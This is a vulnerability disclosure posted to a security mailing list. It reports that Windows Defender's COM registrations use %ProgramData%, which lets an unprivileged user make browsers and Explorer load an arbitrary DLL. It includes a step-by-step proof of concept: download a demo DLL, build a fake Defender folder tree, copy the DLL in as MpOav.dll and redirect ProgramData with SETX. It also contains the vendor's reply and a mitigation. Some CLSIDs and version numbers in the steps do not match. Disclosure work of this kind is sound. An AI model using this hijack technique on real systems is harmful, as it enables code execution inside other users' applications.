Defense in depth -- the Microsoft way (part 64): Windows Defender loads and exeutes arbitrary DLLs

From: "Stefan Kanthak" <stefan.kanthak () nexgo de>
Date: Fri, 27 Mar 2020 05:27:56 +0100

```
Hi @ll,

in September 2017, Microsoft relocated many executable files of Windows
Defender from the directory "%ProgramFiles%\Windows Defender\" to
"%ProgramData%\Microsoft\Windows Defender\platform\<version>\": see
<https://support.microsoft.com/en-us/help/4052623/update-for-windows-defender-antimalware-platform>

JFTR: if Microsoft were only capable to understand English language and
      notice the difference between "(program) DATA" and "program files"!

Ever since this braindead move, which also violates their own "Designed
for Windows" specification, Microsoft registers the paths of Windows
Defender's COM classes using the environment variable %ProgramData%:

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{195B4D07-3DE2-4744-BBF2-D90121AE785B}]
@="Defender CSP"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{195B4D07-3DE2-4744-BBF2-D90121AE785B}\InprocServer32]
@=expand:"\"%ProgramData%\\Microsoft\\Windows Defender\\platform\\4.18.2003.8-0\\DefenderCSP.dll\""
;           ~~~~~~~~~~~~~~  here there be dragons!
"ThreadingModel"="Free"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}]
@="Windows Defender IOfficeAntiVirus implementation"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\Hosts]
@="Scanned Hosting Applications"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\Hosts\shdocvw]
@="IAttachmentExecute"
"Enable"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\Hosts\urlmon]
@="ActiveX controls"
"Enable"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\Implemented
Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\InprocServer32]
@=expand:"\"%ProgramData%\\Microsoft\\Windows Defender\\platform\\4.18.2003.8-0\\MpOav.dll\""
;           ~~~~~~~~~~~~~~  here there be dragons!
"ThreadingModel"="Both"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A7C452EF-8E9F-42EB-9F2B-245613CA0DC9}]
@="Windows Defender WMI Provider"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A7C452EF-8E9F-42EB-9F2B-245613CA0DC9}\InprocServer32]
@=expand:"\"%ProgramData%\\Microsoft\\Windows Defender\\platform\\4.18.2003.8-0\\ProtectionManagement.dll\""
;           ~~~~~~~~~~~~~~  here there be dragons!
"ThreadingModel"="Both"


Of special interest here is the IOfficeAntiVirus implementation,
an interface introduced with Windows 2000 and Internet Explorer 5:
see <https://msdn.microsoft.com/en-us/library/ms537369.aspx>
and <https://msdn.microsoft.com/en-us/library/ff830310.aspx>

This interface is called by the attachment manager, introduced
with Windows XP SP2 and Internet Explorer 6 SP2: see
<https://support.microsoft.com/en-us/help/883260/information-about-the-attachment-manager-in-microsoft-windows>

The attachment manager in turn is called by web browsers, mail/news
clients, instant messengers etc. after they store a downloaded file,
a web page or an attachment, and by file explorer when such a file
(which has the "mark of the web") is to be opened or executed.

"Thanks" to the environment variable specified in the registered path
"%ProgramData%\Microsoft\Windows Defender\platform\<version>\MpOav.dll",
an unprivileged user/attacker can provide an arbitrary DLL which is
then loaded and executed in web browsers, mail/news clients, instant
messengers and file explorer whenever the user stores or opens a
downloaded file, a web page or an attachment.
```

```
Demonstration:
~~~~~~~~~~~~~~

On a 32-bit (x86) or 64-bit (x64) installation of Windows 10 with the
anti-malware platform update KB4025623 installed perform the following
11 steps:

0. Log on to an arbitrary (unprivileged) user account and start the
   command processor %COMSPEC% alias %SystemRoot%\System32\CMD.exe.

1. Download <https://skanthak.homepage.t-online.de/download/SENTINEL.EXE>
   and save it in your "Downloads" directory:

   START https://skanthak.homepage.t-online.de/download/SENTINEL.EXE

   The downloaded file gets the "mark of the web"!

2. Download <https://skanthak.homepage.t-online.de/download/SENTINEL.CAB>
   and save it in your "%TEMP%" directory:

   BITSAdmin.exe /TRANSFER sentinel /DOWNLOAD /PRIORITY FOREGROUND
http://skanthak.homepage.t-online.de/download/SENTINEL.CAB
"%TEMP%\SENTINEL.CAB"

   See <https://skanthak.homepage.t-online.de/sentinel.html> and/or
   <https://skanthak.homepage.t-online.de/minesweeper.html> for the
   description/documentation of SENTINEL.DLL

3. Extract SENTINEL.DLL for both architectures/bitnesses (x86: 32-bit;
   x64: 64-bit) into your "%TEMP%" directory:

   EXPAND.exe "%TEMP%\SENTINEL.CAB" /F:* "%TEMP%"

4. Display the registered path of MPOAV.dll:

   REG.exe QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{195B4D07-3DE2-4744-BBF2-D90121AE785B}\InprocServer32" /VE

| HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{195B4D07-3DE2-4744-BBF2-D90121AE785B}\InprocServer32
|    (Default)    REG_EXPAND_SZ    "%ProgramData%\Microsoft\Windows Defender\platform\4.18.2008.6-0\MpOav.dll"

5. Choose an arbitrary directory where you can create subdirectories,
   for example your user profile "%USERPROFILE%", the root directory
   of your Windows drive "%SystemDrive%", or even a shared directory
   like "%COMPUTERNAME%\PUBLIC", and create the subdirectories
   "Microsoft", "Windows Defender", "Platform" plus "<version>" shown
   in the previous step beyond it:

   MKDIR "%SystemDrive%\Microsoft\Windows Defender\platform\4.18.2008.6-0"

6. Copy the SENTINEL.DLL matching the bitness of your system as
   MPOAV.dll into the last directory created in the previous step:

   32-bit (x86)

   COPY "%TEMP%\I386\SENTINEL.DLL" "%SystemDrive%\Microsoft\Windows Defender\platform\4.18.2003.8-0\MpOav.dll"

   64-bit (x64)

   COPY "%TEMP%\AMD64\SENTINEL.DLL" "%SystemDrive%\Microsoft\Windows Defender\platform\4.18.2003.8-0\MpOav.dll"

7. Verify that you copied the correct DLL and its proper function:

   MSIEXEC.exe /Z "%SystemDrive%\Microsoft\Windows Defender\platform\4.18.2003.8-0\MpOav.dll"

8. Set the environment variable "ProgramData" to the directory
   choosen in step 5:

   SETX.exe ProgramData %SystemDrive%

9. Start every web browser available with the same bitness as your
   system, then download an arbitrary file and notice the message box
   displayed by the
   "%SystemDrive%\Microsoft\Windows Defender\platform\4.18.2003.8-0\MpOav.dll"
   called from the web browser:

   "%ProgramFiles%\Internet Explorer\IExplore.exe" https://skanthak.homepage.t-online.de/download/SENTINEL.EXE
   START https://skanthak.homepage.t-online.de/download/SENTINEL.DLL

10. Start SENTINEL.EXE downloaded in step 1 (which got the "mark of
    the web") and notice the message box again, now called from
    file explorer:

    START "" "%USERPROFILE%\Downloads\SENTINEL.EXE"


Vendor statement:
~~~~~~~~~~~~~~~~~

The MSRC assigned case 57439 to the above report, and replied with the
following statements:

| After investigation, our engineers have determine this this behavior
| is by-design and does not constitute as a vulnerability as reported.

OUCH!
I recommend to teach these "engineers" the difference between a pathname
registered as "%ProgramData%\...\<filename>.<extension>" and a pathname
```

```
registered as "C:\ProgramData\...\<filename>.<extension>"!

HINT: the second variant does NOT allow to load and execute an ARBITRARY
      DLL via an environment variable set by the user!

The observed behaviour is therefore NOT by-design, but due to CARELESS
implementation by CLUELESS developers.

| For an attacker to do as the report indicates, they would already
| need to have gained sufficient control over the victim's system to
| change the ProgramFiles environment variable for the process that
| is instantiating this COM class. This highlights local code execution.
|
| Additionally, our design to get AV to load in a utility process greatly
| reduces the attack surface of this scenario.

OUCH²!
The attack surface is but provided by Windows Defender: its POOR
implementation (see above) allows this attack in the first place.
And there is no utility process started here: the attacker controlled
DLL is loaded and executed ih the processes which want to call AV,
instead of the DLL installed with Windows Defender, and prevents exactly
the intended call of the AV's utility process and defeats your design!

| Utility processes are also more restricted than the browser process
| generally so this is another win in addition to the process decoupling.

OUCH³!
There is NO decoupled process involved!
The demonstration runs an arbitrary DLL in the process of any web browser,
any mail/news client, any instant messenger and file explorer as well,
credentials of the current user, UNRESTRICTED.

| As such, we are closing this case.


Mitigation:
~~~~~~~~~~~

Use AppLocker or SAFER alias Software Restriction Policies: see
<https://skanthak.homepage.t-online.de/SAFER.html>


stay tuned, and far away from so-called "security software"
Stefan Kanthak
```

By Date By Thread

Current thread:

Defense in depth -- the Microsoft way (part 64): Windows Defender loads and exeutes arbitrary DLLs ***Stefan Kanthak (Mar 27)***

- Re: Defense in depth -- the Microsoft way (part 64): Windows Defender loads and exeutes arbitrary DLLs *Paul Szabo (Mar 31)*
  - Re: Defense in depth -- the Microsoft way (part 64): Windows Defender loads and exeutes arbitrary DLLs *Stefan Kanthak (Mar 31)*